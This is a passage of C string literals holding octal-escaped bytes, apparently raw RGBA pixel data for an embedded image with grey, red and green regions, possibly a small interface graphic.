"\304\304\377\304\304\304\377\304\304\304\377\304\304\304\377\304\304\304"
"\377\304\304\304\377\304\304\304\377\304\304\304\377\304\304\304\377\304"
"\304\304\377\304\304\304\377\304\304\304\377\304\304\304\377\304\304\304"
"\377\304\304\304\377\304\304\304\377\304\304\304\377\304\304\304\377\304"
"\304\304\377\304\304\304\377\304\304\304\377\304\304\304\377\304\304\304"
"\377\304\304\304\377\304\304\304\377\304\304\304\377\304\304\304\377\304"
"\304\304\377\304\304\304\377\320\320\320\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\220\220\220\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\232\226\226\377ppp\377p"
"pp\360ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\234\234\234\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377WWW\377\000\000\000\377\"\000\000\377\354\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\251\000\000\377\023\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\006\006\006\377(((\377LL"
"L\377TTT\377TTT\377TTT\377EEE\377\061\061\061\377\033\033\033\377\030\030\030\377"
"\232\232\232\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\205\205\205\377"
"\004\004\004\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000"
"\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000"
"\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000"
"\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377"
"\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000"
"\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000"
"\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000"
"\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\036\036\036"
"\377\314\314\314\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\220\220\220\377ppp\377\203\202\202\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\232\226\226\377ppp\377ppp\360ppp\377ppp\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377}||\377ppp\377\234\234\234\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\313\313\313\377"
",,,\377\000\000\000\377C\000\000\377\373\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\366\000\000\377"
"\314\000\000\377\362\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\373\000\000\377\273\000\000\377"
"g\000\000\377,\000\000\377\004\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000"
"\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377^^^\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377VVV\377\000\000\000\377\001\012\000\377\001\021\000\377\001\021\000\377\000"
"\007\000\377\000\000\000\377\000\000\000\377\000\005\000\377\001\021\000\377\001\021\000\377\001\021\000\377\001"
"\021\000\377\001\021\000\377\000\006\000\377\000\000\000\377\000\000\000\377\000\005\000\377\001\021\000\377\001"
"\021\000\377\001\021\000\377\001\021\000\377\001\021\000\377\000\005\000\377\000\000\000\377\000\000\000\377"
"\000\006\000\377\001\021\000\377\001\021\000\377\001\021\000\377\001\021\000\377\001\021\000\377\000\005\000\377"
"\000\000\000\377\000\000\000\377\000\007\000\377\001\021\000\377\001\021\000\377\001\021\000\377\001\021\000\377"
"\001\021\000\377\000\004\000\377\000\000\000\377\000\000\000\377\000\007\000\377\001\021\000\377\001\021\000\377"
"\001\021\000\377\001\021\000\377\001\021\000\377\000\003\000\377\000\000\000\377\000\000\000\377\000\010\000\377"
"\001\021\000\377\001\021\000\377\001\021\000\377\000\002\000\377\000\000\000\377\266\266\266\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\220\220\220\377ppp\377\203\202\202\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\232\226\226\377"
"ppp\377ppp\360ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\234\234"
"\234\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\274\274\274\377\024\024\024"
"\377\000\000\000\377o\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\332\000\000\377\"\000\000\377\000\000\000\377\036\000\000\377"
"\340\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\371\000\000\377\316\000\000\377\237\000\000\377\231\000\000\377\231\000\000\377\231\000\000\377"
"\245\000\000\377\301\000\000\377u\000\000\377\000\000\000\377^^^\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377VVV\377\000\000\000\377\011\227\000\377\020\377\000\377\020\377\000\377"
"\002\031\000\377\000\000\000\377\000\000\000\377\000\002\000\377\017\364\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\001\017\000\377\000\000\000\377\000\000\000\377\000\005\000\377"
"\020\373\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\376\000\377\000\007\000\377"
"\000\000\000\377\000\000\000\377\001\014\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\017\367\000\377\000\003\000\377\000\000\000\377\000\000\000\377\001\026\000\377\020\377\000"
"\377\020\377\000\377\020\377\000\377\020\377\000\377\017\357\000\377\000\001\000\377\000\000\000"
"\377\000\000\000\377\002\040\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000"
"\377\016\346\000\377\000\000\000\377\000\000\000\377\000\000\000\377\003*\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\002\"\000\377\000\000\000\377\266\266\266\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\220\220\220\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\232\226\226\377ppp\377ppp\360"
"ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377}||\377ppp\377\234\234\234\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\242\242\242\377\006\005\005\377"
"\000\000\000\377\213\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\365\000\000\377.\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\217\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\215\000\000\377\000\000\000\377^^^\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377VVV\377\000\000\000\377\011\227\000\377\020\377\000\377\020\377\000\377\001\022\000\377\000"
"\000\000\377\000\000\000\377\000\000\000\377\017\357\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\001\010\000\377\000\000\000\377\000\000\000\377\000\000\000\377\020\371\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\020\375\000\377\000\000\000\377\000\000\000\377"
"\000\000\000\377\000\004\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\017\363\000\377\000\000\000\377\000\000\000\377\000\000\000\377\001\016\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\017\351\000\377\000\000\000\377\000\000\000\377\000\000\000\377"
"\002\030\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\016\337\000"
"\377\000\000\000\377\000\000\000\377\000\000\000\377\002\"\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\002\"\000\377\000\000\000\377\266\266\266\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\220\220\220"
"\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\231\226\226\377ppp\377ppp\361ppp\377ppp"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377}||\377ppp\377\234\234\234\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\206\206\206\377"
"\002\002\002\377\000\000\000\377\214\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377]\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\274\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\215\000\000\377\000\000\000\377^^^\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377VVV\377\000\000\000\377\011\227\000\377\020\377\000\377\020\377\000\377\001\022\000\377\000"
"\000\000\377\000\000\000\377\000\000\000\377\017\357\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\001\010\000\377\000\000\000\377\000\000\000\377\000\000\000\377\020\371\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\020\375\000\377\000\000\000\377\000\000\000\377"
"\000\000\000\377\000\004\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\017\363\000\377\000\000\000\377\000\000\000\377\000\000\000\377\001\016\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\017\351\000\377\000\000\000\377\000\000\000\377\000\000\000\377"
"\002\030\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\016\337\000"
"\377\000\000\000\377\000\000\000\377\000\000\000\377\002\"\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\002\"\000\377\000\000\000\377\266\266\266\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\220\220\220"
"\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\231\226\226\377ppp\377ppp\361ppp\377ppp"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377}||\377ppp\377\234\234\234\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\214\214\214\377\003\003\003\377\000\000\000\377\202\000\000\377\377\000\000\377\377\000\000\377"
"\217\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377W\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\215\000\000\377\000\000\000\377^^^\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377VVV\377\000\000\000\377\011\227\000\377\020\377\000\377\020\377\000\377\001\022\000\377"
"\000\000\000\377\000\000\000\377\000\000\000\377\017\357\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\001\010\000\377\000\000\000\377\000\000\000\377\000\000\000\377\020\371\000"
"\377\020\377\000\377\020\377\000\377\020\377\000\377\020\375\000\377\000\000\000\377\000\000\000"
"\377\000\000\000\377\000\004\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000"
"\377\017\363\000\377\000\000\000\377\000\000\000\377\000\000\000\377\001\016\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\020\377\000\377\017\351\000\377\000\000\000\377\000\000\000\377\000\000"
"\000\377\002\030\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\016"
"\337\000\377\000\000\000\377\000\000\000\377\000\000\000\377\002\"\000\377\020\377\000\377\020\377\000"
"\377\020\377\000\377\002\"\000\377\000\000\000\377\266\266\266\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\220"
"\220\220\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\231\226\226\377ppp\377ppp\361pp"
"p\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377}||\377ppp\377\234\234\234\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\202\202\202\377\002\001\001\377\000\000\000\377\207\000\000\377"
"\302\000\000\377\004\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377,\000\000\377\364\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\215\000\000\377\000\000\000\377^^^\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377VVV\377\000\000\000\377\011\227\000\377\020\377\000\377\020\377\000"
"\377\001\022\000\377\000\000\000\377\000\000\000\377\000\000\000\377\017\357\000\377\020\377\000\377\020"
"\377\000\377\020\377\000\377\020\377\000\377\001\010\000\377\000\000\000\377\000\000\000\377\000\000\000"
"\377\020\371\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\375\000\377\000\000"
"\000\377\000\000\000\377\000\000\000\377\000\004\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\017\363\000\377\000\000\000\377\000\000\000\377\000\000\000\377\001\016\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\017\351\000\377\000\000\000\377\000\000"
"\000\377\000\000\000\377\002\030\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\016\337\000\377\000\000\000\377\000\000\000\377\000\000\000\377\002\"\000\377\020\377\000\377"
"\020\377\000\377\020\377\000\377\002\"\000\377\000\000\000\377\266\266\266\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\220\220\220\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\231\226\226\377ppp\377p"
"pp\361ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\234\234\234\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\203\203\203\377\003\003\003\377"
"\000\000\000\377\026\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\015\000\000\377\325\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\215\000\000\377\000\000\000\377^^^\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377VVV\377\000\000\000\377\011\227\000\377\020\377\000\377"
"\020\377\000\377\001\022\000\377\000\000\000\377\000\000\000\377\000\000\000\377\017\357\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\001\010\000\377\000\000\000\377\000\000\000"
"\377\000\000\000\377\020\371\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\375"
"\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\004\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\020\377\000\377\017\363\000\377\000\000\000\377\000\000\000\377\000\000\000\377\001\016"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\017\351\000\377\000"
"\000\000\377\000\000\000\377\000\000\000\377\002\030\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\016\337\000\377\000\000\000\377\000\000\000\377\000\000\000\377\002\"\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\002\"\000\377\000\000\000\377\266\266\266\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\220\220\220\377ppp\377\203\202\202\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\232\226\226"
"\377ppp\377ppp\362ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\235"
"\235\235\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\230\230\230\377\014\013\013\377\000\000\000\377\000\000\000\377\000\000\000\377\001\000\000\377"
"\253\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\215\000\000\377"
"\000\000\000\377^^^\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377VVV\377\000\000\000\377"
"\011\227\000\377\020\377\000\377\020\377\000\377\002\034\000\377\000\000\000\377\000\000\000\377\000"
"\004\000\377\017\366\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\001\022\000\377\000\000\000\377\000\000\000\377\001\010\000\377\020\374\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\376\000\377\001\011\000\377\000\000\000\377\000\000\000\377\001\016\000\377"
"\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\370\000\377\000\005\000\377"
"\000\000\000\377\000\000\000\377\002\030\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020"
"\377\000\377\017\361\000\377\000\002\000\377\000\000\000\377\000\000\000\377\002\"\000\377\020\377\000"
"\377\020\377\000\377\020\377\000\377\020\377\000\377\017\351\000\377\000\000\000\377\000\000\000"
"\377\000\000\000\377\003,\000\377\020\377\000\377\020\377\000\377\020\377\000\377\002\"\000\377"
"\000\000\000\377\266\266\266\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\220\220\220\377ppp\377\203\202\202"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\232\226\226\377ppp\377ppp\362ppp\377ppp\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377}||\377ppp\377\235\235\235\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\255\255\255\377\015\015\015\377"
"\000\000\000\377\000\000\000\377d\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\257\000\000"
"\377(\000\000\377E\000\000\377\342\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\215\000\000\377\000\000\000\377^^^\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377VVV\377\000\000\000\377\011\227\000\377\020\377\000\377\020\377\000\377\007o\000\377\000\000"
"\000\377\000\000\000\377\005N\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000"
"\377\020\377\000\377\006e\000\377\000\000\000\377\000\000\000\377\006X\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\006[\000\377\000\000\000\377\000\000\000\377"
"\006b\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\005Q\000\377\000\000\000\377\000\000\000\377\007l\000\377\020\377\000\377\020\377\000\377\020\377\000"
"\377\020\377\000\377\020\377\000\377\004G\000\377\000\000\000\377\000\000\000\377\007u\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\004=\000\377\000\000\000"
"\377\000\000\000\377\010\177\000\377\020\377\000\377\020\377\000\377\020\377\000\377\002\"\000"
"\377\000\000\000\377\266\266\266\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\220\220\220\377ppp\377\203\202"
"\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\232\226\226\377ppp\377ppp\362ppp\377ppp\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377}||\377ppp\377\235\235\235\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\275\275"
"\275\377...\377\000\000\000\377\001\000\000\377r\000\000\377\371\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\351\000\000\377\007\000"
"\000\377\000\000\000\377\000\000\000\377t\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\215\000\000\377\000\000\000\377^^^\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377VVV\377\000\000\000\377\011\227\000\377\020\377\000\377\020\377\000\377\020\375\000\377"
"\013\250\000\377\012\240\000\377\020\370\000\377\020\377\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\374\000\377\012\245\000\377\012\242\000\377\020"
"\372\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\020\373\000\377\012\243\000\377\012\245\000\377\020\374\000\377\020\377\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\371\000\377\012\241\000\377\012"
"\247\000\377\020\375\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\020\377\000\377\017\367\000\377\012\237\000\377\013\252\000\377\020\376\000\377\020\377"
"\000\377\020\377\000\377\020\377\000\377\020\377\000\377\020\377\000\377\017\364\000\377\012"
"\235\000\377\013\256\000\377\020\376\000\377\020\377\000\377\020\377\000\377\020\377\000\377"
"\002\"\000\377\000\000\000\377\266\266\266\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\220\220\220\377ppp\377"
"\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
